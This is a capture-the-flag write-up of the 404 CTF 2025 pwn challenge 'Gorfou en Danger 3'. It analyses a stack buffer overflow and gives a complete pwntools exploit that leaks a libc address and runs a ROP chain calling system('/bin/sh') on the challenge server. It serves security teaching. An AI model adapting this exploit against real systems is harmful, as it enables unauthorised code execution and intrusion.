404 CTF 2025 - Gorfou en Danger 3

Posted Sat 10 May 2025
Author Istark
Category Writeup
Reading 4 min read
Featured image

Introduction

This challenge is a classic pwn problem involving a buffer overflow on an x86_64 binary. The goal is to exploit a buffer overflow vulnerability to get a shell and retrieve the flag.

Program Analysis

Looking at the source code (main.c), the vulnerability is easy to spot:

void take_command() {
    char command[0x100];
    printf("> ");
    read(0, command, 0x130);
    printf("Commande inconnue\n");
}

The program allocates a buffer of size 0x100 (256 bytes) but reads 0x130 (304 bytes) from stdin, creating a 48-byte overflow.

Another interesting function is debug_info() which leaks memory addresses:

void debug_info(void) { 
    printf("main address : %p\n", &main);
    printf("printf address : %p\n", *(uint64_t *)0x403008);
    void* local_var = NULL;
    printf("Stack address : %p\n", &local_var);
    return;
}

This function gives us:

  • The address of main
  • The address of printf (in libc)
  • A stack address

The main loop is:

int main(void) {
    setvbuf(stdin, NULL, _IONBF, 0);
    setvbuf(stdout, NULL, _IONBF, 0);
    setvbuf(stderr, NULL, _IONBF, 0);

    menu();

    printf("Terminal de contrôle à distance du vaisseau de transport Pascal\n");

    while (1) {
        take_command();
    }

    return 0;
}

Exploitation Strategy

The exploitation is done in two steps:

  1. Overflow the buffer to call debug_info and leak the address of printf to compute the libc base.
  2. Overflow again to execute a ROP chain that calls system("/bin/sh").

Full Exploit

Here is the full exploit used to solve the challenge:

from pwn import *

context.arch = 'amd64'
exe = context.binary = ELF('./chall')
libc = ELF('./libc.so.6')
ld = ELF('./ld-linux-x86-64.so.2')

host = args.HOST or 'challenges.404ctf.fr'
port = int(args.PORT or 32465)

if args.LOCAL_LIBC:
    libc = exe.libc
elif args.LOCAL:
    library_path = libcdb.download_libraries('libc.so.6')
    if library_path:
        exe = context.binary = ELF.patch_custom_libraries(exe.path, library_path)
        libc = exe.libc
    else:
        libc = ELF('libc.so.6')
else:
    libc = ELF('libc.so.6')

gdbscript = '''
break *0x400806
continue
'''.format(**locals())

def start_local(argv=[], *a, **kw):
    if args.GDB:
        return gdb.debug([exe.path] + argv, gdbscript=gdbscript, *a, **kw)
    else:
        return process([exe.path] + argv, *a, **kw)

def start_remote(argv=[], *a, **kw):
    io = connect(host, port)
    if args.GDB:
        gdb.attach(io, gdbscript=gdbscript)
    return io

def start(argv=[], *a, **kw):
    if args.LOCAL:
        return start_local(argv, *a, **kw)
    else:
        return start_remote(argv, *a, **kw)

OFFSET = 264
DEBUG_INFO = 0x4004ed
MAIN_ADDR = 0x400584
printf_offset = libc.sym["printf"]

io = start()
io.recvuntil(b"> ")
payload = b"A" * OFFSET + p64(DEBUG_INFO) + p64(MAIN_ADDR)
io.send(payload)

io.recvuntil(b"printf address : ")
leaked_address = int(io.recvline().strip(), 16)
log.info(f"Leaked printf address: {hex(leaked_address)}")

libc.address = leaked_address - printf_offset
system_address = libc.sym["system"]
binsh_address = next(libc.search(b"/bin/sh"))
log.info(f"Libc base: {hex(libc.address)}")
log.info(f"System address: {hex(system_address)}")
log.info(f"Binsh address: {hex(binsh_address)}")

pop_rdi = next(libc.search(asm("pop rdi; ret")))
log.info(f"Pop rdi address: {hex(pop_rdi)}")

ret = next(libc.search(asm("ret")))
log.info(f"Ret gadget: {hex(ret)}")

io.recvuntil(b"> ")
rop_chain = p64(pop_rdi) + p64(binsh_address) + p64(ret) + p64(system_address)
payload = b"A" * OFFSET + rop_chain
io.send(payload)

io.interactive()
io.close()

Step 1: Leak addresses

We first call debug_info to leak the address of printf:

io.recvuntil(b"> ")
payload = b"A" * 264 + p64(DEBUG_INFO) + p64(MAIN_ADDR)
io.send(payload)

io.recvuntil(b"printf address : ")
leaked_address = int(io.recvline().strip(), 16)

We fill the buffer with 264 bytes, then add the address of debug_info and main. This calls debug_info and then returns to main so the program continues.

Step 2: Calculate important addresses

With the leaked printf address, we can compute the libc base and find the addresses of other useful functions and gadgets:

libc.address = leaked_address - printf_offset
system_address = libc.sym["system"]
binsh_address = next(libc.search(b"/bin/sh"))
pop_rdi = next(libc.search(asm("pop rdi; ret")))
ret = next(libc.search(asm("ret")))

Step 3: Execute the ROP chain

We build a ROP chain to call system("/bin/sh"):

io.recvuntil(b"> ")
rop_chain = p64(pop_rdi) + p64(binsh_address) + p64(ret) + p64(system_address)
payload = b"A" * 264 + rop_chain
io.send(payload)
io.interactive()

The ROP chain:

  • pop rdi: puts the address of “/bin/sh” in RDI (first argument for x86_64 calling convention)
  • binsh_address: address of “/bin/sh” string in libc
  • ret: stack alignment gadget (sometimes required)
  • system_address: address of the system function

Challenges and Solutions

The main challenge was finding the correct gadgets in libc. Dynamic gadget search can sometimes fail, so it’s important to have hardcoded offsets as a backup or try different methods to find gadgets.

Another challenge was returning after calling debug_info. Returning to main ensures the program continues and allows us to exploit the buffer overflow again.